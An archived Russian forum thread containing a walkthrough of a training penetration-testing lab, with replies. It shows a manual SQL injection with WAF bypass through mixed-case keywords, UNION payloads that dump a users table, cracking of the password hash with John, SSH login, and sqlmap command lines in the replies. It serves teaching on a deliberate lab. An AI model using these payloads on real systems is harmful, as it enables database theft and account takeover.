PDA

Просмотр полной версии : Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (2)


<~DarkNode~>
11.12.2016, 08:50
Глава 2Предыдущая глава (https://forum.antichat.xyz/threads/558573/)
Следующая глава (https://forum.antichat.xyz/threads/558612/)
Оглавление

https://forum.antichat.xyz/attachments/4767697/img_5c406824aa.png

И так привет колеги. Сегодня погрузимся дальше в роль хакера пентестера и возьмем свой второй токен. Попадем на машину ssh(172.16.0.8).
Вспоминаем что мы взяли в прошлый раз логин и пароль о почты. Пробуем этот логин и пароль везде где только можно,так использование одинаковых паролей - это одна из самых частых ошибок,которую допускает человек. Но увы этот пароль и логин от почты никуда не подошел,ни к админке к сайту,ни к ssh.Так что давайте ковыряться дальше.
И будем мы сегодня изучать атаку на веб приложение,а если чуть подробнее то поговорим о таком векторе какSQL Injection и обход простенького WAF-а (WAF - Web Application FIrewall).

Прежде чем начать,хотелось бы сказать на что стоит обращать внимания и чем пользоваться при пентесте веб приложения.Исходя из собственного опыта могу смело сказать ,что поиск уязвимостей веб приложенияпостроен на обнаружении аномального поведения веб контента в результате реакции на передаваемые данные в сторону сервера(пользовательский ввод "GET|POST запросы" ,куки,служебные заголовки и т.д) И как вы уже догадались все сканеры уязвимостей построены по этой логики.Но бывают ситуации когда сканеры уязвимости не правильно понимают логику веб приложения и как результат дает не верные отчеты о найденных уязвимостей. К тому же, такие известные утилиты как SQLmap,Acunetix и много им подобные использую в качестве UserAgent-а свое имя,и добавив запрет на такие UserAgent-а можно уже защитится от атак школьниками.А если говорить о каких нибудь более серьезных средствах защитах и различных WAF-ах - то это очень сильно запутает логику работы сканера уязвимостей и как вывод из всего выше сказанного - ручной фаззинг и поиск уязвимостей в разы продуктивней чем работа сканеров.

Именно по этому мы сегодня с вами встретимся один на один с простенькой SQL инъекцией
и простеньким WAF-ом

Обычно я использую инструмент BurpSuite для ручного фаззинга,при работе с веб приложениями,но тут все гораздо проще.К тому же по этому инструменту нужно делать отдельный цикл статей)

Ну что же ,давайте посмотрим на наш сайтhttp://192.168.101.9:443/ еще разочек под другим ракурсом)

Первым делом проверим наличие админки на сайте:

https://forum.antichat.xyz/attachments/4767697/2.png

Дальше потыкаем по постам на главной странице:

https://forum.antichat.xyz/attachments/4767697/1.png

У нас есть один передаваемый параметр в GET запросе который отвечает за порядковый номер поста на сайте. Давайте с ним поиграем) По старой доброй привычке ткнем туда кавычку:

https://forum.antichat.xyz/attachments/4767697/3.png

Хмм.. Странно но нас редиректнуло на главную страницу... Привычную ошибку синтаксиса не то что бы не видать,а как по первому взгляду - инъекцией и не пахнет скажете вы.Но эпоха админов которые включают вывод ошибок в PHP все потихоньку уходит в прошлое) И по этому весьма логично предположить что в случаи какой то ошибки ,или неправильного ввода пользователем весьма очевидно такое поведения.Все таки предположим что тут есть инъекция и нужно просто попробовать сбалансировать запрос:
Первой стадией при работе сSQL инъекцией является балансировка запроса:
Это нечто иное как найти правильные закрывающие символы в запросе и отрезка не нужной части комментарием,например если выборка с базы данных идет по запросу

PHP:



$result
=
mysql_query
(
"SELECT * WHERE id = ('1')"
)
;


то балансировка этого запроса представляет собой в GET запросе передаваемым на сервер:
some_url/index.php?id=1') -- -
И правильными закрывающими символами тут будут ')
И как результат вывод должен быть таким же как и при some_url/index.php?id=1.Если запрос не сбалансирован то поведения контента будет разным

Ну что ж давайте играться с параметром id на нашем сайте:

https://forum.antichat.xyz/attachments/4767697/4.png

https://forum.antichat.xyz/attachments/4767697/5.png

https://forum.antichat.xyz/attachments/4767697/6.png

https://forum.antichat.xyz/attachments/4767697/7.png

Немножко поигрались - мы уже смогли найти Boolian Blind SQL Injection)
А теперь давайте разберем что мы сделали:
1)Сбалансировали запрос,после добавление правильных символов нас не бросало на главную,а выводился контент страницы которая имеет id=1
2)Попробовали добавить в запрос истинное выражение (and true -- -) и видим что нас перебросило на главную страницу...Хм..Так не должно быть.. Сразу же на ум приходит что тут стоит фильтр на пользовательский ввод.
3)Немного поигравшись с регистром - мы достигаем цели:
1') AnD TruE -- - нас не перебрасывает на главную) Вероятнее всего что фильтр работает только по словам в нижнем или верхнем регистре.
4)
1') AnD FalSe -- -Для закрепление вектора,это означает что если в запросе будет не истинное значение(ложь) или ошибка то нас будет бросать на главную.
Уже можно крутить как слепую булеан блайнд) Но нам еще нужно проверить на Union Based вектор инъекции.
Давайте найдем к-тво столбцов:
https://forum.antichat.xyz/attachments/4767697/8.png


https://forum.antichat.xyz/attachments/4767697/9.png


https://forum.antichat.xyz/attachments/4767697/10.png

Как видем у нас два столбца в запросе,пробуем сделать вывод.Но что бы вывести наш юнион запрос нужно добавить ложь в основной запрос.
id=1') And FalSe UnIoN SeLeCt 11111,2222 -- -

https://forum.antichat.xyz/attachments/4767697/11.png


https://forum.antichat.xyz/attachments/4767697/12.png


https://forum.antichat.xyz/attachments/4767697/13.png

Как видите,есть вывод) Как говорится инжектабельно))))
Давайте крутить дальше)

id=1') And FalSe UnIoN SeLeCt coNcaT(TaBLe_NamE),2222 fRoM InForMaTioN_SchEma.TabLeS WheRe TabLe_SchEma=database() limit 1,1-- -

https://forum.antichat.xyz/attachments/4767697/15.png

id=1') And FalSe UnIoN SeLeCt coNcaT(ColuMn_NamE),2222 fRoM InForMaTioN_SchEma.coLuMnS WheRe TabLe_NaMe='users' limit 1,1-- -

https://forum.antichat.xyz/attachments/4767697/16.png

id=1') And FalSe UnIoN SeLeCt coNcaT(ColuMn_NamE),2222 fRoM InForMaTioN_SchEma.coLuMnS WheRe TabLe_NaMe='users' limit 2,1-- -

https://forum.antichat.xyz/attachments/4767697/17.png

id=1') And FalSe UnIoN SeLeCt coNcaT(username),2222 fRoM users-- -

https://forum.antichat.xyz/attachments/4767697/18.png

id=1') And FalSe UnIoN SeLeCt coNcaT(password),2222 fRoM users-- -

https://forum.antichat.xyz/attachments/4767697/19.png

на password как видим также WAF,ничего,обойдем:

id=1') And FalSe UnIoN SeLeCt coNcaT(paSSwOrD),2222 fRoM users-- -

https://forum.antichat.xyz/attachments/4767697/20.png

И финальный ввывод)

https://forum.antichat.xyz/attachments/4767697/21.png

Получаем имя и хеш)
Дальше что бы мне нагло не сливать вам токен ,вам придется побрутить хеш)
Брутим хеш,(он пару секунд брутится)
Идем в админку,берем токен. И под этим же логином и паролем попадаем на ssh машину(ssh e.lindsey@192.168.101.9)
пароль из хеша
Дальше будем брать токен на SSH и учится пробрасывать порты.
Всем спасибо

Предыдущая глава (https://forum.antichat.xyz/threads/558573/)
Следующая глава (https://forum.antichat.xyz/threads/558612/)
Оглавление

<~DarkNode~>
11.12.2016, 13:43
Ну на тот случай если у кого то с брутом проблемы возникли то:

Добавляем в какойто тектстовый файлик следующий контент:

Код:



e.lindsey:$1$w9aURG9k$Wf1VIpv9VET3v3VWZ4YD8.


И запускаем команду:

Код:



john hashes.txt


И получаем навыходе:

Код:



Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
lindsey123 (e.lindsey)
1g 0:00:00:01 DONE 1/3 (2016-12-11 10:55) 0.6535g/s 4422p/s 4422c/s 4422C/s elindsey123..E123
Use the "--show" option to display all of the cracked passwords reliably
Session completed


И у нас есть парольlindsey123и логин e.lindsey

Логинимся в админку и забираем токен
затем конектимся к ssh:
ssh e.lindsey@192.168.101.9

И гуляем по ссш:

https://forum.antichat.xyz/attachments/4767710/2016.png


https://forum.antichat.xyz/attachments/4767710/2016.png


https://forum.antichat.xyz/attachments/4767710/2016.png

<~DarkNode~>
11.12.2016, 20:38
Я правильно понял, у нашего пользователя нет root-полномочий? Что мы тогда сможем при помощи него сделать? Ждать третьей части?)


Нет конечно))) Вы представляете что бы было если бы был бы рут у всех) Все бы затерали токены и раняли бы сервер)

Брутил я джоном за пару секунд)

Faust
13.12.2016, 02:15
DarkNode канал Corp_Of_Hack на youtube не твой?

<~DarkNode~>
13.12.2016, 10:45
faust сказал(а):

DarkNode канал Corp_Of_Hack на youtube не твой?


мой

Faust
13.12.2016, 13:54
Не подскажете почему по ссылке https://192.168.101.9/ выдает ошибку ssl_error_rx_record_too_long, а по ссылке http://192.168.101.9:443/ все нормально. Или на порту 443 обычный http.

ghostphisher
16.12.2016, 21:15
Спасибо за статью! Вопрос:

1) Можно все это раскрутить sqlmap'om?
2) Если да, то какой тампер использовать
3) Подойдет ли для этих целей commix ?

<~DarkNode~>
16.12.2016, 21:53
ghostphisher сказал(а):

Спасибо за статью! Вопрос:

1) Можно все это раскрутить sqlmap'om?
2) Если да, то какой тампер использовать
3) Подойдет ли для этих целей commix ?


--tamper randomcase
Впринципе можно,но он криво крутит и намного дольше чем руками,хотя вектор ним обнаружить можно.

ghostphisher
16.12.2016, 22:09
~~DarkNode~~ сказал(а):

--tamper randomcase
Впринципе можно,но он криво крутит и намного дольше чем руками,хотя вектор ним обнаружить можно.



Руки удобнее, спортивнее. Однако если 2, 3 задания исполнять =) И автоматизация иногда выручает.

ПС Ради интереса

sqlmap --random-agent --url http://192.168.101.9:443/post.php?id=INJECTION_HERE --crawl=2 --batch --dbs --level=3 --risk=3 --tamper randomcase --hex

посмотрю сколько времени займет и каков будет итог

Дополняю

ушло 3 минуты, НО

[21:08:24] [ERROR] unable to retrieve the number of databases
[21:08:24] [INFO] falling back to current database
[21:08:24] [INFO] fetching current database
[21:08:25] [INFO] retrieved:
[21:08:25] [ERROR] unable to retrieve the database names, skipping to the next URL

не смог он базы определить, я так понимаю не хватает параметра.

ghostphisher
17.12.2016, 13:08
Ради интереса пытаюсь вытащить базы sqlmap'om но вот как то не выходит. Ошибка [ERROR] unable to retrieve the number of databases.
Я перепробовал разные тамперы. Пробовал --hex --nocast, тот же итог. Очень хочется решить эту задачу =) Если кто в курсе, подскажите, чего не хватает.

sqlmap --identify-waf -v3 --random-agent --url http://192.168.101.9:443/post.php?id=INJECTION_HERE --crawl=2 --batch --dbms=mysql --dbs --level=3 --risk=3 --tamper space2mysqlblank --no-cast --threads 10

Изначально было sqlmap --random-agent --url http://192.168.101.9:443/post.php?id=INJECTION_HERE --crawl=2 --batch --dbs --level=3 --risk=3 --tamper randomcase --hex

<~DarkNode~>
17.12.2016, 14:48
Очень хочется решить эту задачу =) Если кто в курсе, подскажите, чего не хватает.



sqlmap--flush-session --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix="-- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --techniqueU -D site --threads 10 --tables --common-tables

--tamper randomcase-- использовать фильтр скульмапа для генерации пейлоада в различном регистре
--random-agent-- использовать случайный UserAgent
--code=200-- использовать в качестве валидных ответов заголовок ответа 200 ок, 301(редирект) будет распознан как невалидный запрос
--level 5--использовать маскимальный уровень поиска векторов
--risk3 почти тоже самое что и --level
--technique U--пытаться использовать только векторы UnionBased SQL injection
--url "http://someurl.php?id=*"-- астериксом(*) мы указываем место для инжекта
--prefix-- то что использовать в начале запроса
--suffix-- то что использовать в конце запроса
--threads 10- к-тво потоков



Ошибка [ERROR] unable to retrieve the number of databases.


--flush-session -очистить сессию скульмапа

https://forum.antichat.xyz/attachments/4768302/111.png

ghostphisher
17.12.2016, 19:34
~~DarkNode~~ сказал(а):

sqlmap--flush-session --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix="-- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --techniqueU -D site --threads 10 --tables --common-tables



Как обычно на отлично!
Теперь у меня остался один не решенный вопрос - --code=200 --prefix "')" --suffix=" -- - " <--- если бы это не было указано, скульмап не нашел бы это самостоятельно. Из чего получается, что с префиксами и суфиксами требуется ручная работа. Верно я понимаю?

дополнение:

[18:54:24] [INFO] analyzing table dump for possible password hashes

Database: site

Table: users

[1 entry]

+----+-----------+

| id | username |

+----+-----------+

| 1 | e.lindsey |

+----+-----------+

Но хэша нет...

sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 --tables --common-tables -T users --dump

пробовал так. что опять упустил?

<~DarkNode~>
17.12.2016, 19:53
ghostphisher сказал(а):

Как обычно на отлично!
Теперь у меня остался один не решенный вопрос - --code=200 --prefix "')" --suffix=" -- - " <--- если бы это не было указано, скульмап не нашел бы это самостоятельно. Из чего получается, что с префиксами и суфиксами требуется ручная работа. Верно я понимаю?

Только в 2 раза меньше таблиц=)

Нашел бы,просто так быстрее, --code=200 тут нужно потому что тут не стандартное поведение контента,тут нету ошибки на вывод,тут есть редирект вместо ошибки. По идеи и без этого параметра должно отработать,но sqlmap - это программа,не стоит забывать,она может не коректно понимать логику поведения страницы,и именно в таких ситуациях лучше использовать такой параметр)

<~DarkNode~>
17.12.2016, 20:07
ghostphisher сказал(а):

[18:54:24] [INFO] analyzing table dump for possible password hashes
Database: site
Table: users
[1 entry]
+----+-----------+
| id | username |
+----+-----------+
| 1 | e.lindsey |
+----+-----------+

Но хэша нет...

sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 --tables --common-tables -T users --dump

пробовал так. что опять упустил?

Попробуй сперва найти столбец password в таблице users. Я не помню просто есть ли точно он в common-columns,но должен быть.
Попробуй сначала так:
sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 -T users --common-columns
А потом
sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 -T users --dump
Или же просто так:
sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 -T users -С username,password --dump

<~DarkNode~>
17.12.2016, 20:18
Вообще,сугубо мое мнение по поводу sqlmap - это утилита которая используется больше как для постэксплуатации sql injection , но не для поиска. Уязвимость находится сперва ,проверяется на наличия WAF-а,изучается поведения вафа, и только потом в бой выходит скульмап)
На своем опыте я встречал такие инъекции которые посылали скульмап куда подальше,но руки никогда не подводили))
Вот пару старых моих видео про работу руками если кому интересно:
[hide=12]

ghostphisher
17.12.2016, 21:28
~~DarkNode~~ сказал(а):

Вообще,сугубо мое мнение по поводу sqlmap - это утилита которая используется больше как для постэксплуатации sql injection , но не для поиска. Уязвимость находится сперва ,проверяется на наличия WAF-а,изучается поведения вафа, и только потом в бой выходит скульмап)
На своем опыте я встречал такие инъекции которые посылали скульмап куда подальше,но руки никогда не подводили))



итог тот же
Database: site
Table: users
[1 entry]
+----+-----------+
| id | username |
+----+-----------+
| 1 | e.lindsey |
+----+-----------+

что ж, это еще раз доказала про руки и мозг Спасибо за подробные ответы - информация очень полезная.

<~DarkNode~>
20.12.2016, 21:42
sergeyxz сказал(а):

будет время напиши статью про BurpSuite...


Боюсь в одну статью это может не вместится)

<~DarkNode~>
24.12.2016, 09:58
HackBar модифицированный


mafiasepa сказал(а):

А что за расширение для инъекции на фоксе?

<~DarkNode~>
24.12.2016, 12:08
mafiasepa сказал(а):

Спасибо. Очень интересные статьи и довольно подробно описаны.
Я извиняюсь это не твой канал на тубу https://www.youtube.com/channel/UCD-dZRqYVkMEJ0_NVp0frWw

мой

<~DarkNode~>
28.12.2016, 11:56
KIra сказал(а):

DarkNode, а где можно узнать побольше о запросах ?


О каких именно ?

mastanggt
19.01.2017, 20:58
А почему в конце пишем


~~DarkNode~~ сказал(а):

-- -


а не просто -- ?
-- это начинается комментарий, а зачем еще одна черточка через пробел?

MrBa
28.01.2017, 14:22
~~DarkNode~~ сказал(а):

Вот пару старых моих видео про работу руками если кому интересно:


эх, оооооочень интересно (( ... хочется глянуть на работу мастера. Зачем там хайд?

MrBa
09.02.2017, 09:31
У меня вопрос по PAYLOAD. Из дампера у меня есть готовый пэйлоад. Дамп качает крокозябры и никак не могу получить нормальный результат. Пробую мэпом - говорит что атрибут не имеет уязвимости. Как в мэп вставить готовый PAYLOAD из дампа?
Спасибо

pyz
19.04.2017, 21:15
ghostphisher сказал(а):

Как обычно на отлично!
Теперь у меня остался один не решенный вопрос - --code=200 --prefix "')" --suffix=" -- - " <--- если бы это не было указано, скульмап не нашел бы это самостоятельно. Из чего получается, что с префиксами и суфиксами требуется ручная работа. Верно я понимаю?

дополнение:

[18:54:24] [INFO] analyzing table dump for possible password hashes
Database: site
Table: users
[1 entry]
+----+-----------+
| id | username |
+----+-----------+
| 1 | e.lindsey |
+----+-----------+

Но хэша нет...

sqlmap --tamper randomcase --random-agent --level 5 --code=200 --prefix "')" --suffix=" -- - " --risk 3 -v 2 --url "http://192.168.101.9:443/post.php?id=*" --technique U -D site --threads 10 --tables --common-tables -T users --dump

пробовал так. что опять упустил?

ЕСТЬ КОНТАКТ!!! Для того что-бы вытянуть хеш из колонки "password" в таблице "users" была оставлена подсказка самим автором в посте))), а именно автором было указано что колонка "password" защищена WAFом, меняем регистр на "PasSwoRd" и вуаля...
sqlmap -u http://192.168.101.9:443/post.php?id=1 -p id --flush-session --tamper randomcase --random-agent --threads 10 -D site -T users -C username,PasSwoRd --dump --batch

Qmakake
05.01.2018, 17:26
Спасибо за статью, очень круто!!!
спасибо огромное за статьи, очень интересно.
Вы как профессионал, могли бы посоветовать какую-то школу, курсы или книги по обучению ИБ и пентесту в частности!?

r0hack
05.01.2018, 18:22
Qmakake сказал(а):

Вы как профессионал, могли бы посоветовать какую-то школу, курсы или книги по обучению ИБ и пентесту в частности!?


Скоро будет открыта школа античат



Qmakake сказал(а):

книги


В грей секции много полезных книг: https://codeby.net/account/upgrades

Qmakake
05.01.2018, 18:32
r0hack сказал(а):

Скоро будет открыта школа античат

В грей секции много полезных книг: https://codeby.net/account/upgrades

Спасибо, а как записаться в школу, где посмотреть инфу по ней?

r0hack
05.01.2018, 18:33
Qmakake сказал(а):

Спасибо, а как записаться в школу, где посмотреть инфу по ней?


Информация скоро появится на форуме.